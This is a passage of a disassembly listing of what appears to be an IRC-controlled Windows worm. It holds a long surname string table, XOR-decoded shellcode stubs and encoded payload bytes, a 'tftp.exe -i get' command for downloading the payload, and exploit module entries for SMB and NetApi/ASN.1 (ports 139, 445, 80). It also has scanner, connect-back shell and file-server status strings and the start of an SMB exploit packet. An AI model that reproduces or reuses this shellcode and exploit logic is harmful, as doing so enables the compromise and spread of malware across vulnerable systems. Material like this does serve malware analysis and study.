'Chinman',0 ; DATA XREF: ___:0042D974o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D970o aChilds db 'Childs',0 ; DATA XREF: ___:0042D96Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D968o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D964o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D960o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D95Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D958o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D954o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D950o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D94Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D948o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D944o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D940o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D93Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D938o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D934o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D930o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D92Co align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D928o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D924o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D920o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D91Co align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D918o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D914o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D910o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D90Co aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D908o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D904o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D900o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8FCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8F8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8F4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8F0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8ECo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8E8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8E4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8E0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8DCo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8D8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8D4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8D0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8CCo aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8C8o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D8C4o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D8C0o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D8BCo align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D8B8o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D8B4o aBudding db 'Budding',0 ; DATA XREF: ___:0042D8B0o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D8ACo align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D8A8o aBrook db 'Brook',0 ; DATA XREF: ___:0042D8A4o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D8A0o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D89Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D898o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D894o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D890o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D888o ; ___:0042D88Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D884o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D880o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D87Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D878o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D874o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D870o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D86Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D868o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D864o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D860o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D85Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D858o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D854o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D850o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D84Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D848o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D844o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D840o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D83Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D838o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D834o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D830o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D82Co align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D828o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D824o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D820o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D81Co align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D818o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D814o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D810o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D80Co aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D808o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D804o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D800o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7FCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7F8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7F4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7F0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7ECo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7E8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7E4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7E0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7DCo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7D8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7D4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7D0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7CCo align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7C8o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D7C4o aBinion db 'Binion',0 ; DATA XREF: ___:0042D7C0o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D7BCo align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D7B8o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D7B4o aBetti db 'Betti',0 ; DATA XREF: ___:0042D7B0o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D7ACo align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D7A8o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D7A4o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D7A0o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D79Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D798o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D794o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D790o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D78Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D788o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D784o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D780o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D77Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D778o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D774o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D770o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D76Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D768o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D764o aBean db 'Bean',0 ; DATA XREF: ___:0042D760o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D75Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D758o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D754o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D750o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D74Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D748o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D744o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D740o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D73Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D738o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D734o aBarry db 'Barry',0 ; DATA XREF: ___:0042D730o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D72Co align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D728o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D724o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D720o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D71Co aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D718o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D714o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D710o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D70Co align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D708o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D704o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D700o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6FCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6F8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6F4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6F0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6ECo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6E8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6E4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6E0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6DCo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6D8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6D4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6D0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6CCo aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6C8o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D6C4o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D6C0o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D6BCo align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D6B8o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D6B4o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D6B0o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D6ACo align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D6A8o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D6A4o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D6A0o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D69Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D698o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D694o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D690o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D68Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D688o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D684o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D680o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D67Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D678o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D674o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D670o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D66Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D668o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D664o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D660o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D65Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D658o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D654o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D650o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D64Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D648o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D644o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D640o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D63Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D638o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D634o aAdams db 'Adams',0 ; DATA XREF: ___:0042D630o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D62Co align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D628o align 10h byte_431280 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431284 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431288 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431290 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431294 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431298 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43129C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_4312A0 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_4312A4 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_4312A8 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_4312AC dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_4312B0 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_4312B8 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_4312C8 ; --------------------------------------------------------------------------- loc_4312C6: ; CODE XREF: ___:loc_4312C8p jmp short loc_4312CD ; --------------------------------------------------------------------------- loc_4312C8: ; CODE XREF: ___:004312C4j call loc_4312C6 loc_4312CD: ; CODE XREF: ___:loc_4312C6j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312D4: ; CODE XREF: ___:004312D9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312D4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312EA: ; CODE XREF: ___:004312EFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312EA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43138C jnz short loc_431378 retn ; --------------------------------------------------------------------------- loc_431378: ; CODE XREF: ___:00431375j ; ___:00431385j call near ptr loc_43137D+1 loc_43137D: ; CODE XREF: ___:loc_431378p add [edx+0], ch call sub_43138C jz loc_431378 retn ; =============== S U B R O U T I N E ======================================= sub_43138C proc near ; CODE XREF: ___:00431370p ; ___:00431380p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43138C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431438 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43143C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431440 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431444 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431448 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43144C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445_0 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 4 db 2 dup(0) byte_43161A db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o aAsn445_1 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431646 ; =============== S U B R O U T I N E ======================================= sub_431636 proc near ; CODE XREF: sub_431636:loc_431646p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43163E: ; CODE XREF: sub_431636+Cj xor byte ptr [edx+ecx], 99h loop loc_43163E jmp short loc_43164B ; --------------------------------------------------------------------------- loc_431646: ; CODE XREF: ___:00431634j call sub_431636 loc_43164B: ; CODE XREF: sub_431636+Ej jo short near ptr dword_4315D4+12h cwde cdq cdq retn sub_431636 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_4317C8 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317D4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317F4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43183C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431878 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431888 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_4318A4 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318D8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431908 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431928 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431944 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431978 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319E0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_431A14 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A48 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A7C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431AA4 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431ADC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431B1C db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B54 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B88 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431BBC dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C70 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C78 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C7C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C84 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK 